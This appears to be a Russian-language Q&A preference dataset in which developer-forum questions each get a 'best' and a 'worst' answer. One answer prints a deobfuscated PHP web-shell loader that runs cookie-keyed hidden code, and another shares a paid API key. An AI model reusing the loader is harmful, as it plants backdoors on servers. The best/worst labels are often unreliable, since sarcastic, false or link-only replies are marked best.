pavki/hr_qa_sbs_best_bad huggingface dataset:
Вопрос: Где поправить Url'ы в Yii?

Лучший ответ: Помимо очевидного совета — посмотреть urlManager в конфигах, отмечу:
- изменения делайте ТОЛЬКО через разработчика (либо с его консультаций), судя по скринам там достаточно большой функционал, там помиомо тегов и категорий есть еще и типы, именно они в начале урла (sale и rent)
вы полезете менять — точно роутинг поломаете
Такое построение урлов не противоречит ЧПУ и тем более SEO-продвижению, тут вам надо понять, что вы возможно все не знаете даже по своей части... также должны понимать, что не все можно перекроить именно из-за бизнес-задач... но напутанность есть... есть чем позаниматьсяВместо подкатегорий какие-то "теги"
НУ, товарищ, это как раз круто дял SEO — готовая подборка под НЧ-запрос... такой кейс громкий же был у Enter:
«телефоны для бабушек», «телефоны с большими кнопками»Почему нельзя было сделать отдельно категории Продажа недвижимости и Аренда недвижимости и потом уже просто выбирать категорию
с точки зрения разработчика — хорошее решение, не нужно рекурсий делать и вложенности из-за 2 типовПочему так:
Просто это фреймворк, на нем делают то, что хочет разработчик ,если что-то в админку не вывели — легко выводится и дорабатывается...
Почему не ЦМС? Ну причин много бывает, но поверьте — дорабатывать текущий сайт будет проще, чем на ЦМС, просто поверьте... не понятно почему сайт без разработчика...

Худший ответ: Поищите раздел urlManager в файле config/main.php - скорей всего там. Но может быть еще пара вариантов, зависит от настроения и опытности разработчика, который это писал. Вообще такое в админку не выносится, в конфигах правится.
Но урлы еще зависят от того, как их во view файлах прописали - хардкодом, или с использованием средств фреймворка. Однозначно ответить сложно.
Вопрос: Чем девелопмент версия отличается от продакшена?

Лучший ответ: https://translate.yandex.ru/
development - развитие, разработка, создание, рост, расширение
production - производство, изготовление, выпуск
По-моему, даже без каких-то особенных знания понятно.
Сырая версия для разработки и финальный релиз.

Худший ответ: Версия разработки - это рабочий вариант, черновик, грубо говоря, где на эстетику, безопасность, вид никакого внимания
Продакшн - версия проекта для релиза, с соблюдением всех стандартов, мер безопасности и прочего. Продакшн - конечная версия продука
Вопрос: В чём основная концепция использования RxJava?

Лучший ответ: Концепция Rx заключается в основном в том, что существуют потоки данных внутри приложения. Эти потоки где-то начинаются (create) и где-то заканчиваются(subscribe). 
Про наборы данных - не знаю, скорее нет. Например, может быть бесконечный Observable, следящий за БД. Когда вы к нему подписываетесь, он эмитит текущее состояние БД, когда оно изменяется - эмитит ещё. Переподписка для этого не нужна.
То, что вы говорите про Observable, на который вы подписываетесь и работа идёт вне зависимости от этой подписки, это называется "горячий" Observable. Это можно сделать, но немного непонятно, зачем именно для сети нужно такое поведение. Зачем нужен выполняющийся запрос, если на его результат, возможно, никто больше не подпишется? В такой ситуации полезнее "холодный" Observable, который начинает запрос при подписке и отменяет его при отписке.
Далее, насчёт ввода с клавиатуры. Смотрите RxAndroid, и, в частности, RxTextView. В этом случае абсолютно то же самое - пока никто не слушает, следить за клавиатурой не нужно. Когда появился подписчик - начинаем слушать. И в случае именно андроида нет возможности установить несколько листенеров на одну вьюху, потому не удивляйтесь, когда дважды вызвав RxView.clicks(button).subscribe(Log::d) на одной кнопке, обнаружите, что эмиттит только второй Observable, а первый замолчал навсегда.

Худший ответ: RxJava - это библиотека для реализации реактивного стиля в java
реактивный стиль вещь похожая на более известный функциональный стиль программирования. 
выражается он в следующем
есть поток данных, мы применяем к нему некие преобразования и получаем новый поток.
например
(поток запросов в сеть в виде адресов страниц)-> операторЗапросаВСеть -> ОператорПарсинга-> ОператорФормированияДатаОбъектов ->(отображение на экране)
Популярность в андроиде, думаю, приобрел за счет простоты работы с многопоточностью. По крайней мере первые примеры применения в андроиде rx обычно про это.)
вообще, это немного другой способ мышления. отличный от процедурного и ооп.
есть источник, есть получатель и много преобразований.  
источник это observable, получатель это subscriber/observer . преобразования это разного рода операторы или их цепочки.
В этом случае мы понимаем приложение как нити потоков данных. такая схема бывает проще чем схема из объектов. иногда.
конечно, мы можем применять и гибриды из этих парадигм.
вообще, это стоит попробовать. возможно она очень вам близка по стилю вашего мышления.
Вопрос: Как пользоваться Zeplin?

Лучший ответ: Всё верно - чуток детальней опишу процесс). 
В Фотошопе открываю psd и слева в панели всех инструментов первый пункт стоит по умолчанию инструмент "Перемещение". На нем клик правой кнопкой и выбираю Инструмент "Монтажная область".
Выделяю весь макет этим выделением и в окошке плагина Zeplin, которое уже открыто должно быть (Окно / Расширения / Zeplin) появляется желтая кнопка с надписью: "Export selected artboards to Zeplin".
Жму на нее. Далее в этом окошке предлагает выбрать проект уже в самом Zeplin - т.е. если не будет создан новый пустой проект в Zeplin то импорта не будет. И жму кнопку Импорт.
При первом импорте спрашивает еще "выбрать плотность (density) проекта: 1 или 2". Объяснение по этому здесь - https://support.zeplin.io/faq/all-the-measurements...

Худший ответ: В фш выбираешь инструмент "монтажная область" выделяешь макет и отправляешь в цеплин
Вопрос: Как победить флуд запросов к DNS Googl'а?

Лучший ответ: Закрыть рекурсивный DNS не из своей сети. Примерно так: 
https://support.aa.net.uk/Stopping_Open_DNS_-_MikroTik
И проверить тут
openresolver.com

Худший ответ: 1. Закрывайте 53 порт tcp и udp на доступ с интерфейса провайдера (в input)
2. Обязательно укажите out-interface в правиле маскарадинга.
Расписывать не буду, ничего сложного тут нет
Вопрос: Могу ли я использовать код премиум wordpress плагина, выложенного в открытом доступе, в коммерческом проекте?

Лучший ответ: Можете.
А автор кода может подать на вас в суд за нарушение его прав, если у вас нет его разрешения на использование.

Худший ответ: Еще там может быть эксплойт, зловред и прочие специально зашитые хитрости от распространителя. Потому как нуленые плагины уже не раз приносили боль их использующим юзерам. И даже проблемы возникали на соседних сайтах аккаунта на хостинге. Там, где не стоит нулл.
Почитайте - на просторах инета много инфы на этот счет.
Ну а по теме вопроса: используя в коммерческом проекте - вы свой коммерческий ресурс и подставляете (это бомба замедленного действия). Вы уверены что нет зловреда от распространителя? А может быть он хорошо спрятан и пока не было сигнала чтоб он проявил себя? Или пока в этом обновлении его нет, а завтра будет? Каков ваш уровень знаний - чтобы самостоятельно провести аудит? И так перед каждым обновлением. Не забывайте что бесплатного в мире не бывает. Везде своя цель.
Ну и как сказали выше - вам не будет техподдержки от разработчика, своевременных обновлений (а вдруг дыру нашли? Разраб то устранит быстро, а распространитель этих файлов не оперативно среагирует. Пока дойдет очередь)
И как финал - плагин может перестать существовать. Или автор его втихую продаст другой компании - как убыточный актив. А новые ребята внедрят туда... Ну все снова сверху читаем...
Так вот - не поддерживать разработчика.
Ну а если надумаете его распространять - продавая - это может обернуться вам боком. Вы не думаете почему те парни отдают через гитхаб? А не продают?
Второй аспект - именно морали. Так же как и в политике - это может сказаться на вашей репутации. Так что вопросы задавайте, но старайтесь не высказывать в комментариях свою позицию что это "правильно и верно" и "почему бы нет". Интернет он всё помнит. И если ваш коммерческий проект выстрелит - то себе в ногу. Именно из-за использования факта чужого труда оттолкнет партнеров и инвесторов. Или вы не сможете найти на свой коммерческий проект покупателя - если захотите ресурс продать. Вариантов, "что может пойти не так" - много.
p.s. майкрософт купил гитхаб - поэтому думаю скоро пойдет волна банов и подобный аккаунт будет забанен. Не дошла еще абуза до него. Пока не до этого им. На каком основании? На основании авторитетного пострадавшего.
Вопрос: Как хранить конфиги на сервере в зашифрованном виде?

Лучший ответ: А смысл?
Чтобы подключиться к базе, надо знать действительные логин/пароль. Значит код расшифровки будет здесь же доступен.
Если к базе подключаться не надо - то и конфига здесь не будет.

Худший ответ: Зачем так делать?
Движок сайта - не человек. У него нет мозгов, нет глаз, нет рук. У него только умение тупо выполнять инструкции, которые ему запрограммировали. Он должен подключиться к БД. Для этого он должен передать в движок БД логин и пароль, причем сделать он это должен в открытом тексте (теоретически есть возможность сначала поднять шифрованное соединение с БД, а потом уже по нему передавать логин-пароль, но так никто не делает). Для передачи пароля в открытом тексте он должен быть расшифрован, если хранился в шифрованном виде, причем никаких других ключей, меток, паролей и пр. - движок заполучить не имеет возможности, то есть шифрование должно быть обратимым. То есть имея на руках .php файл с функцией криптовки-декриптовки и зашифрованный пароль, запросто восстановить пароль оригинальный. Стоит ли тогда овчинка выделки?
Вопрос: Почему iptables пропускает пакеты даже если стоит политика DROP для всех IPv6 соединений?

Лучший ответ: Кто сказал что проходят? Chain INPUT (policy DROP 138K packets, 53M bytes)Отброшено 138k пактов, в сумме на 53M

Худший ответ: Почему даже если я блокирую весь ipv6 трафик пакеты все равно проходят?
А где в выводе ip6tables -nvL видно, что пакеты проходят? Я вижу, что пакеты приходят и дропаются (INPUT) либо пытаются отправиться и дропаются (OUTUPT).
Вопрос: Где можно заказать запчасти для телевизоров с доставкой почтой?

Лучший ответ: Посмотрите: https://www.google.com/search?q=%D0%B7%D0%B0%D0%BF...

Худший ответ: Заказать любые запчасти для телевизоров, в том числе и платы для телевизоров с доставкой почтой или сдэк можно в Detalkof, вот их сайт - detalkof.ru
Вопрос: Почему после определения класса ставится точка с запятой, а после определения функции — нет?

Лучший ответ: Потому что по сути, объвление класса - это объявление переменно (я не совсем правильно выражаюсь, но допустим).
А в с++, когда пишут int a;
ставят точку с запятой.
точно так же:class Foo 
{
int a_;
} foo;
только име переменно писать не обязательно.
Суть приблизительно такая.

Худший ответ: определение функции всегда заканчивается после символа }, а определение класса - не всегда.
Вопрос: Как сделать повторение цикла random в связке с while и выполнение одного из двух сценариев?

Лучший ответ: Первая задача:import random

print("Программа подбросит монетку 100 раз и покажет, сколько раз выпадет Орел или Решка\n")
tries = 0
damage = 1
orel = 0
reshka = 0
while tries !=100:
    tries += damage
    result = random.randint (1, 2)
    print("Осталось бросков: ", (100-tries))
    if result == 1:
        reshka += 1
    else:   
        orel += 1
print("Орлов выпало: ", orel, "Решек выпало: ", reshka)
input("\nНажмите Enter, чтобы выйти.")

Худший ответ: Решение 1 задачи в 2 строчки:from random import randint

tmp = sum([randint(0, 1) for _ in range(100)])
print('Число решек %s, число орлов %s' % (tmp, 100 - tmp))
Вопрос: Неудобство при мягком удалении laravel?

Лучший ответ: Делал в обработчике события на deleted на модели выборку необходимых связанных моделей и тоже делал им удаление.

Худший ответ: Возможно, я ретроград, но мне кажется, внешние ключи - это зло. Бизнес-логика отправляется в нетестируемое отдалённое место, про которое можно забыть и однажды накосячить. 
Только явно в коде, только хардкор.
Вопрос: Какую литературы вы бы посоветовали для изучения Android разработки в 2017?

Лучший ответ: Не слушайте HouseCat. The Busy Coder's Guide to Android Development обновляется по мере выхода новых версий JC.for Android Studio 2.3, covering the Android SDK through 7.1 and the O Developer Preview

Худший ответ: В отличии от братской айОси, у андроид разработчика есть отличное место для старта на официальном сайте https://developer.android.com/training/index.html
Так хорошо излагают, что и сторонние ресурсы не нужны в 70% случаев
Вопрос: Какой процессор лучше i7 6700 vs 6700k ... Ryzen?

Лучший ответ: "k" означает - поддерживающие оверклокинг; множитель разблокирован 
Вот и вся разница, это одинаковые процессорыможно разогнать
а зачем? Что бы помер быстрее и грелся? Когда-то в 90-х это давало ощутимый прирост и повод чем похвастаться перед пацанами. Сегодня прирост Вы вряд ли заметите.Есть предположения что выйдет новый i7
Могу даже пообещать, а за ним еще 1 и еще 1 и стоить на старте продаж будет больше, чем должен. Так что если хочется подороже, стоит подождать, а потом еще раз подождать и т.д.
ПС. Вы пытаетесь выиграть копейки производительности, которые ощутить невозможно.

Худший ответ: Можно глянуть сюда 
Делайте свои выводы
Вопрос: Есть адекватные курсы по Lua?

Лучший ответ: Та-дааа!
https://learnxinyminutes.com/docs/ru-ru/lua-ru/

Худший ответ: Как успехи? Я кроме lua-users.org/wiki/LuaTutorial ничего не нашел. Хотелось бы что-нибудь с русским комьюнити...
Вопрос: OS X (macOS) vs Linux: какая ОС шустрее на слабом Маке?

Лучший ответ: У вас упор идёт в 4Гб оперативной памяти. Для виртуалок и множества открытых вкладок в браузере - оперативная память основной ресурс. У меня MBA mid2013 i7/8Gb/512Gb и я не испытываю никаких проблем с быстродействием пока для используемых программ хватает оперативной памяти. Но 3Гб занято уже сразу после загрузки голой системы. Так что с 4Гб у вас очень быстро нанчинает использоваться swap, а это, хоть диск и быстрый, даёт значительные тормоза, т.к. много кусков нужной в данный момент памяти приходится гонять с диска в ОЗУ и обратно. Вряд ли другая ОС на тех же задачах решит проблему (разве что будет использовать экономнее ОЗУ). Но в 4Гб упор будет достигнут в любом случае очень быстро.

Худший ответ: А на маке разве не придётся долбаться с патчами dsdt и прочими прелестями заточеного под хй^W маки железа?
Если не проблема, я бы ставил что-нибудь легковесное типа arch linux или gentoo с оконным менеджером вместо de. 300 мб на старте, вроде норм.
Вопрос: Как развернуть photoshop cc 2015 на весь экран как finder в os x el capitan?

Лучший ответ: Зажми клавиши Alt+cmd+D , эта комбинация свернёт панель Dock
После снова нажми на зелёный плюс

Худший ответ: Знаю, очень поздно отвечаю на твой вопрос, но!!!
Системные настройки --> Строка меню и Dock --> Автоматически скрывать и показывать строку меню (В самом низу)
Вопрос: Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

Лучший ответ: Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie. 
Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл. if (!empty($_COOKIE["key"])) {
    $F = $_COOKIE["key"];
    $e = strlen($F);
    $n = [];
    for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
    $m = base64_decode(str_replace("\n", '', $m));
    for ($r = 0; $r < 44378; ++$r) {
        $_ = abs($n[$r % $e] - $r);
        $F = $m[$_];
        $m[$_] = $m[$r];
        $m[$r] = $F;
    }
    if ($e < 10) $e *= $e & 1 ? 3 : 2;
    if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
        $m = substr($m, $e);
        echo $e, $r;
        @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
    }
}
PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя  его можно будет расшифровать. 
сохранять можно например таким кодом:<?php
file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);

Худший ответ: Расшифровывать не буду ибо не интересно, да и вам его содержимое не должно быть интересно а вот что вам действительно должно быть интересно так это то откуда он взялся и лотать дыру.
Вопрос: Unity rpg инвентарь, реализация?

Лучший ответ: Приветствую! Нужно съесть манную кашу. Пробовал сначала сам есть - вышла какая то дичь - хотя формально я ее съел, но измазался в ней весь. 
Пересмотрел кучу туториалов как есть манную кашу - у всех принцип одинаков, но каждый есть по разному - кто то ложку боком заносит, кто то вообще левой рукой ест. А мне нужно есть через трубочку - я не нашел такого функционала.
Надеюсь у кого то есть годные статьи\видео\примеры, либо кто то может объяснить как есть кашу через трубочку, в идеале на польском.
Нормальный вариант ответа: никто вам не напишет ничего, потому что у вас своя архитектура, свои допустимые либы и все свое, и лезть в чужую архитектуру - это дорого.

Худший ответ: Каждый описанный вами пункт это отдельная подсистема, которую можно написать и оттестировать на совершенно отдельной от остального кода сцене. Общее у них скорее всего только наличие предметов с идентификаторами, которые могут иметь разное представление в интерфейсе и в игровом мире. Туториалы на то и туториалы, что они показывают как можно что-то сделать, они не навязывают конкретной реализации. Просто сядьте и на бумажке распишите подробнее ваши четыре пункта, как оно должно работать, выделите понятные сущности: предмет, рюкзак, быстрый слот и т. п. Напишите сначала в лоб, чтобы работало, потом перепишите, чтобы было красиво. Из полезных юнитёвых классов советую присмотреться к ScriptableObject, в них удобно хранить ссылки на характеристики и разные представления предметов. А в остальном не советую мыслить об инвентаре как о единой монолитной системе, пишите его кусками, причём такими, чтобы при желании с ними можно было работать без графического интерфейса.
Вопрос: Как сделать это на CSS (см. картинку)?

Лучший ответ: Хрень какая-то у тебя задумана, но может так?
https://jsfiddle.net/webirus/sw32a6mh/6/

Худший ответ: Хотелось бы современное, не костыльное решениеМожно вот так
Вопрос: Сколько стоит IT-услуга на фрилансе? Как узнавать вилки цена\(качество=профессионализм)?

Лучший ответ: Цена, качество и скорость напрямую не связаны.
Оценить что сколько может стоить достаточно просто: 
- либо быть грамотным специалистом самому (и соответственно крупными мазками понимать объем работы)
- либо иметь проверенного специалиста который даст первую оценку за Вас

Худший ответ: Все очень не просто. В принципе нет ни какой ценовой вилки. На фрилансе как и на рынке один дурак продает, а другой покупает. За последние годы порог входа в программирование (особенно Web) упал почти до нуля. Например, разработку инет магазина можно поручить соседскому школьнику за упаковку сникерсов и он без проблем слепит некоего монстра из кучи чужих шаблонов. При этом гарантии работоспособности этой поделки никакой, а можно иск схлопотать за кражу интеллектуальной собственности. Можно то же самое заказать в распиаренной мега фирме за тысячи американских денег. Будет качественно, надежно, но дорого. А можно найти скромного, никому неведомого спеца  и он за относительно не большие деньги сделает не хуже фирмочей, а может не лучше соседа школьника это как повезет.
PS Ну, и как уже писали - ТЗ всему голова.
Вопрос: Где можно арендовать сервера с каналом 2Gbps и более?

Лучший ответ: Учитесь шардить
Два сервера по гигабиту выйдут намного дешевле, чем один сервер в пару гигабит.
Более чем в 2 раза дешевле.

Худший ответ: да почти любой хостер за деньги дает канал десять гигабит.
Вопрос: Как сделать настоящий рандом?

Лучший ответ: random_int — Генератор криптографически безопасных случайных целых чисел
Комбинации любые с random_int() делайте если вам что-то посложнее числа из диапазона нужно и всё

Худший ответ: Ну например каждый символ генерировать через:
рандом + время + перемешать это 
и взять первый символ из полученного :)
Вопрос: Почему тормозят виртуалки на PROXMOX?

Лучший ответ: Запустите топ иотоп и увидите в чем проблема

Худший ответ: Вот из этого графика не могу понять, большая загрузка на диски или нет?Чтобы из этого графика понять загрузку нужна гадалка..
Вопрос: Могут ли посадить за каналы DarkNet тематики в Telegram?

Лучший ответ: Могут ли посадитьРазумеется.Если да, то какое наказание может быть?Расстрел.

Худший ответ: нет просто на карандаш поставят
Вопрос: Как получить аудиозаписи пользователя на ВК?

Лучший ответ: http://api.я.ws/  (0.01$ за 1000 запросов)
Загружают песни к себе на сервер, отдают ссылку с лайфтаймом в сутки.
Чтобы нивелировать рекламу (сервис не мой, но все же платный), вот мой ключ, только для личных нужд пользуйтесь, по совести:Ключc7d840a0b022579793a667444c719778
(На балансе около доллара, я его так и не смог потратить).

Худший ответ: Пока самым приемлемым видится вариант парсинга полновесных страничек с авторизацией через виртуальную прокрутку средствами PhantomJS
Вопрос: Как преобразовать параметры из адресной строки (GET)?

Лучший ответ: 1) Включить на апаче мод_реврайт (если не включен)
2) Настроить хтаксесс на чпу
3) Настроить единую точку входа, если до сих пор не настроена, а не **аться с test.php и прочими извращениями.

Худший ответ: Это называется ЧПУ. вот тут можно примеры глянуть
Вопрос: Как лучше сделать вывод новостных материалов?

Лучший ответ: Первый вариант вообще неработоспособный: на тачевых устройствах :hover наступает только в момент тапа, т.е. посетители не увидят названий вообще.
Второй лучше, но не идеален. Все блоки одинаковые и если новостей много, то лента будет выглядеть слишком однородно, слишком скучно. Однородные ленты пользователи прокручивают быстрее и читают меньше, т.к. глазу не за что зацепиться.
Неплохо бы сделать модули разного размера (как плитка в Windows). Крупным размером могут отображаться главные новости, мелким — менее важные. На странице должна быть иерархия информации по важности и интересности. При неоднородной структуре ленты пользователи пролистывают страницу медленнее, останавливаются рассмотреть крупные блоки и заодно замечают мелкие вокруг.
Скрывать название новости при наведении тоже не очень. Если посетитель хочет рассмотреть картинку, пусть кликнет саму новость и рассмотрит картинку внутри.
Не знаю, о чем у вас будет сайт и какая там редакционная политика, но надо продумать дизайн новости без картинки.
И еще у вас крупная проблема — вы проектируете дизайн используя стоковые картинки и лорем ипсум. Это значит, что при наполнении сайта реальным контентом вылезут десятки проблем, о которых вы не задумались: 
- название новости слишком длинное, 
- название новости слишком короткое, 
- название нуждается в пояснении,
- картинка слишком светлая — белый по светлому не контрастно, 
- картинка слишком пёстрая — фон мешает читать текст,
- текст закрывает лицо человека на фотографии,
- у новости нет картинки
- и т.д.
Если у вас еще нет своих новостей, возьмите контент с чужого сайта и сделайте макет с реальными текстами и картинками. Это оголит возможные будущие проблемы. Макет будет выглядеть не так красиво, но зато дизайн будет более жизнеспособен.
Ссылки по теме:
artgorbunov.ru/bb/soviet/20160316
artgorbunov.ru/bb/soviet/20160127
artgorbunov.ru/bb/soviet/20160420
artgorbunov.ru/bb/soviet/20160427

Худший ответ: Заголовки должны быть сразу. В новостях они важнее картинок.
При ховере лучше не убирать заголовок, а добавить например к нему лид, типа того:
Вопрос: Как настроить FreePBX?

Лучший ответ: В вашем случае лучше нанять фрилансера

Худший ответ: opendir(/var/www/html/admin/modules): failed to open dir: Permission denied
Это ошибка Linux.
Вам необходимо вначале освоить ОС, потом уже софт, который на ОС ставится. Без обид ;)